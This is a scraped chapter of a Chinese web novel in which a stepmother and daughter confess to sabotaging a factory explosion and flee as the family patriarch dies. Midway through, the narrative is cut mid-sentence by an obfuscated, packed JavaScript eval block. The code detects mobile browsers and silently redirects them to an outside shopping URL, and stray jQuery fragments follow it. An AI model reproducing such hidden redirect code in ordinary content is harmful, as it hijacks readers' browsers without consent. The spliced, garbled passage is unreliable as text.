文趣网 > 其他小说 > 女东家:她才貌双全不好惹 > 11. 第十章
    信是写给妹妹苏蓉的,地址却是八年前的。

    八年前她曾收到了一笔从上海寄过来的汇款,从数额可以看出那时苏蓉的身份地位非富即贵,这么多年她还是第一次收到妹妹的来信,也是唯一的一次。

    时隔这么多年,苏曼云不知道对方是否还住在原来的地址,她和妹妹出生在同一个娘胎,性格却是天差地别。

    她从小就知道妹妹心比天高,也了解她的薄情凉性,她想得到的,不管是人和物,都会想尽办法弄到手,然后

    不管怎样,嘉雁到底是她的亲生女儿,她愿不愿意现身,一切就看天命了。

    这边陈慧刚送走复诊的大夫,佟嘉姚走进来,俯身看了一眼床上的人:“爸他还没醒吗?”

    “怎么回事儿,不是说只毁了那批货吗?怎么现在闹出了这么多条人命。”

    陈慧压低声音,声音却是又急又躁。

    “你问我我问谁去!当初说的清清楚楚,我也不知道事情怎么变成这样,还有那个阿东,到现在都没露面,也不知道是死是活?”

    佟嘉姚也确实被吓得不轻,毕竟牵扯这么多人命,她扯住陈慧的胳膊寻求安慰,“妈,死了那么多人,我们不会有事吧!”

    陈慧只觉得自己的双手不停地颤抖,还要安慰女儿,强迫自己保持着镇定,“放心吧,没人会怀疑到我们身上,没事的,一定会没事的。”

    两个人好不容易平复了情绪,下楼看见工厂的胡叔过来,手里还拿着警局的调查单据,心中又是一紧。

    胡叔的声音有些沙哑,额头也全是细汗,“工厂事故的原因经过初步调查已经有了结果,是因为那些堆放的染料和溶剂遇到火种才发生的爆炸,至于具体火种的来源,就不得而知了。”

    听到‘不得而知’四个字,陈慧母女相视一眼,安心不少,既然查不出来,就算不到她们头上。

    “好了,知道了,你先下去吧。”

    胡叔无奈地摇动了几下脑袋,退出了大厅,心中不免感叹,自己干了大半辈子的地方,这次估计是要散伙了。

    胡叔好不容易出了大门,身子被挤得一个踉跄,透过门缝,外面的热闹传进了前院。

    这几天陈慧已经被宅门外面那些人吵得不得安宁,别说出门了,连靠近走路都要压着脚步,生怕惊扰了一门之隔的那些日夜蹲守的死者家属。

    “你哥那边沟通的怎样了?”

    “哥已经告诉了那些死伤者家属,一定会给他们合理的说法,可他们还是围在门口不肯离开,现在门口还有好几具死尸呢,要不是这几天降温,恐怕都要发臭了。”

    听到死尸两个字,陈慧只觉得头皮一阵发麻,连声阻止,不让她再继续说下去,“好了好了,别说了,她们这些人不就是要钱吗?想要多少给她们不就完了吗?你去告诉账房,让他拿笔钱先把门口的那些人打发了再说。”

    “不行!”听到母亲的话,佟嘉姚急声制止。

    “为什么不行,难不成你还真的要等到门口那些尸体发臭不可?”

    “妈,你也不想想,这次工厂死伤可是将近百人,门口的只是一小部分,如果今天真让他们如愿拿到了钱,那明天门外的尸体可就不止这些了,到时我们拿不出钱,你觉得他们会怎么办?”

    听了女儿的话,陈慧这才知道自己差点犯下大错,连忙点头,“对对对,你说得对,这钱我们不能给。”

    可话说回来,就这么拖着也不是办法,要是把门外的那些人逼急了,他们一样会闯进来的。

    “夫人、夫人,不好了。”门外,管家慌慌张张跑进来。

    “又怎么了?”陈慧压着怒气,还有什么事会比现在的境况更糟的。

    管家看到夫人脸色不好,知道自己失态,可却丝毫不敢迟疑,“少爷被门外的那群人给砍伤了。”

    临近后院拐角处的石桌上摆着几卷纱布和消毒药水,佟铭头上被人用石头砸伤的,伤口不深,破了皮,手腕处的伤口明显要严重许多。

    佟嘉雁好不容易给他止了血,看着他受伤的位置,心情很沉重。

    她在医书上看过,对方受伤的部位在手腕横纹的附近,很有可能伤到正中神经,这个神经主要牵动大拇指、食指、中指等精细动作,一旦神经受损,再想要完成画画需要的细微控笔、线条微调几乎再无可能。

    想她平时几乎从不大声说话的一个人,这会儿竟也控制不住的红着眼扯着嗓子喊话:“佟铭,你是不是傻,谁让你替我挡刀的。”

    佟铭倒是一副老样子,本来手上还疼的呲牙咧嘴的,难得看见佟嘉雁这幅样子,疼都减轻了一半,“你是不是傻?我一男的,有点伤疤更显男子气概,你个女孩要是留了疤那还得了。”

    “可万一你的手毁了,以后还怎么画画。”

    “你也说万一,万一画不了就不画了呗,咱们家这次要是真的破产,以后估计我连颜料都买不起喽。”

    他说的轻松,佟嘉雁很敏感的捕捉到对方玩笑背后隐藏的失落,她知道他是真的喜欢画画。

    她起身收拾桌上的药箱,准备回屋里和母亲交代一声,就带佟铭去医院仔细瞧瞧,自己的水平有限,不流血不代表没有隐患。

    急促的脚步声由远及近,是高跟鞋接触地面独有的声音,陈慧走的很快,有好几次都差点崴了脚,好在都被身边的佟嘉姚给扶住。

    “儿子,你怎么样了?没事吧。”她最先注意到的就是儿子头上裹着的纱布,一双手举在半空,碰也不是,收也不是。

    “你再晚来一会,伤口就愈合了。”听到儿子还能胡诌,她这才稍稍舒了一口气,眼睛瞟到站在一侧的佟嘉雁,脸色又冷了下来。

    “谁让你没事去招惹门外那些人的,就算有人要出去给他们一个交代,也轮不到你。”

    这句话依旧是对着儿子说的,却是说给佟嘉雁听的。

    佟铭无语地扶着额头,同时又庆幸,幸好母亲不知道他的伤是怎么来的,要不然又得折腾不知道多久。

    他这一抬手,陈慧又是一声不得了的尖叫,“哎呀,你的手怎么也受伤了,平时打你躲着比谁都快,今天是变木头了?”

    佟嘉姚看着哥哥受伤,又心疼又气愤,直觉告诉她,哥哥的伤和佟嘉雁脱不了关系。

    “没记错的话,当初这单生意爸可是交给你全权负责的,现在出了这么大的事儿,我们一家受伤的受伤,担惊受怕的受怕,你倒是像个没事儿人似的站在这儿。”

    “佟嘉姚,都什么时候了,你能不能闭嘴。”佟铭的话音还没落,就被另一个声音给硬生生地压了下去,“该闭嘴的是你!”

    陈慧瞪着佟铭,说到底都是被眼前的这个女人所害,要不是因为她,自己也不会出此下策,佟家也不会面临今天的这个局面,可自己的儿子却又偏偏这么护着她,当真是要活活气死她!

    “姨娘放心,这件事我肯定负责到底,另外……佟铭的手腕伤的很重,这会儿你要是有时间,最好还是带他去医院看下吧。”

    得知自己儿子伤的很重,她也顾不上再在后院斗嘴了,拉着佟铭往前院拽。

    佟铭很默契地配合,这边的闹剧告一段落。

    佟嘉雁稍作收拾,给母亲喂完药,天色已暗沉下去。

    她先电话联系了胡叔,向他详细询问这次工人伤亡的最终统计人数和工厂内部所有可流动的资金。

    电话那头的胡叔有些不解,“工厂现有的资金不是被二小姐以救助伤工的名义全都转走了吗?”

    “转走了?佟嘉姚?”得到再次确认,佟嘉雁挂了电话。

    据她所知工厂这边的受难家属暂时没有收到任何的赔偿,双方甚至连补偿金都还在协商阶段,佟嘉姚这时候取走这么一大笔钱,到底想干什么?

    夜幕降临,前院二楼,最靠近楼梯房间门开着,透着微光,里面传来窸窸窣窣收拾物品的声音。

    “嘉姚,我们真的要走吗?”

    陈慧看着一旁收拾着行李的女儿,明显还在犹豫,“我们已经在这里住了这么多年,离开这里真不知道还能去哪?难道就没有任何挽救的余地了吗?”

    佟嘉姚停下手上的动作,转过身神情严肃,“妈,你可想好了,我们干的事要是被人发现,到时你就算想走也走不了了。”

    她知道母亲不经吓,继续发力,“况且账房有多少钱你又不是不知道,那点钱应付外面的人根本就是杯水车薪,我已经算过了,就算我们现在把这座大宅给卖了,勉强可以支付那些工人的医药费,可工厂那边怎么办?这一期的订单根本不可能如期完成,到时又要面对一大笔违约金,与其最后弄得身无分文,还不如我们趁早离开,只要有钱,到哪里还不都一样。”

    陈慧沉默了一会,终于被女儿说动,起身往自己的卧室走去。

    昏迷了许久的佟毅苇终于渐渐地有了知觉,他费力地抖动着撑起眼皮。

    屋里昏暗一片,寂静得有些不寻常,他努力回忆起昏

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748421|209377||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    迷之前发生的种种,他想出声喊人,发觉嗓子干痛得厉害,最后只好放弃。

    卧室的门匆忙被人打开,陈慧走了进来,开了灯,眼睛却没有往这边瞧上一眼,神情说不上来的古怪。

    佟毅苇下意识没有出声,看着对方先是从梳妆台一旁的抽屉里取出一把钥匙,又将保险柜中的那些珠宝一件件地拿了出来,放进一个提前准备好的包袱里。

    紧接着女儿佟嘉姚也走了进来,先对着陈慧问了句:“收拾好了没?”后身子一转,竟是往自己这边靠近。

    佟毅苇直觉性地重新闭上眼睛,甚至连呼吸都轻了几分。

    “你爸他还没醒,怎么办?”陈慧也靠近过来。

    “还能怎么办?”

    佟毅苇听得出,佟嘉姚的声音明显比陈慧的要冷静许多,或者应该说是冷漠更合适。

    “老爷,我们要走了,你可别怪我们,今天的一切,都是因为你的一意孤行,要不是你执意将工厂分给佟嘉雁,我们也不会让人去动手脚,总之,走到今天我也不想,这些年你欠我的,今天也算一并还了,你就在这继续睡吧。”

    陈慧说话时候整个人是坐在床头的,煽情结束刚要起身,余光瞧见床上的人不知何时正瞪大双眼死盯着自己。

    她浑身一抖,第一反应就是趔趄着要逃离,下一秒手腕被死死抓住,“啊,老爷你醒了?你放手,快放手!”

    佟嘉姚也是一惊,反应过来之后,她立马跑过去帮忙,将父亲略显僵硬的手指一个个掰开,在两人合力协作下,陈慧很快摆脱了床上人的束缚。

    佟毅苇依旧瞪着眼,嘴里不断地重复着,“是你,竟然是你们。”

    “对,是我,那又怎么样?”突然这瞬间,陈慧不再畏惧眼前这个男人了。

    是啊,一个快死的人,自己凭什么还要怕他?

    想想真可笑,在过去的几十年里,她每天都在看着这个男人的眼色过活,如今对方只不过是一个连床都下不了的病秧子,真是天道好轮回。

    “我为佟家生了儿子,你却娶了别的女人,佟嘉雁她只不过是苏曼云在外面捡来的野种,却凭着那可笑的婚约,在这里大摇大摆地当了十几年的佟家大小姐,这些我都忍了,现在你还让铭儿去娶她,让她们母子永远骑到我头上,我告诉你,我做不到,做不到!”

    陈慧越说表情越狰狞,“佟毅苇,你狂傲自大一辈子,想不到你也有今天,有本事你起来杀了我啊。”

    佟毅苇一个激灵儿,竟直直地坐了起来。

    陈慧看到老爷竟然真的可以起身,还未来得及完成情绪上的变化,佟毅苇那弓起的身子又再次毫无预兆地倒下。

    一时间房间陷入毫无生机的寂静。

    佟嘉姚深吸了几口气,慢慢靠近床榻,将食指轻轻地放在父亲鼻下试探了一下,立马像触电般缩了回来。

    “爸他没气了,我们要赶紧离开这儿。”

    陈慧只顾着点头,佟嘉姚一只胳膊挎着包好的行李,另一只胳膊搀扶着母亲。

    她们慌慌张张去开门,和门外的佟铭撞个正好。

    “哥,你、你怎么在这儿。”

    佟嘉姚相比心虚、眼神躲闪的母亲明显自然很多,甚至还扯出笑来。

    “你们刚刚说的都是真的?”

    佟铭第一次觉得,面前的两个女人,他人生中最重要的两个女人,如今看起来是这么的陌生。

    佟嘉姚收敛笑意,“什么真的假的?我听不懂。”

    陈慧也回过神儿,一把拉住佟铭,“儿子,听妈的话,有什么事等我们先离开这里再说。”

    佟铭没有说话,甩开母亲的拉扯,绕过两人走到床边。

    佟毅苇眼睛依旧睁得很大,不甘和愤怒硬生生地僵在脸上,俨然没有半点气息。

    他想哭又硬生生憋了回去,手心攥得很紧,导致刚包扎好的伤口又开始流血了。

    看着浓稠的红色一滴滴落下,这次竟感觉不到任何疼痛。

    “趁我还没有改变主意,你们都给我滚。”他声音很平,内心却是做了很大的挣扎。

    “铭儿,你必须和我们一起……”

    “我说让你们滚,我不想看到你们,滚啊!”

    陈慧最后的挽留被佟铭的咆哮掩埋,佟嘉姚了解哥哥的性格,“妈,哥是不会和我们走的,你就死了这条心吧,我们快走吧,再晚就来不及了。”

    最后,那熟悉的高跟鞋声越来越远,彻底没了响动。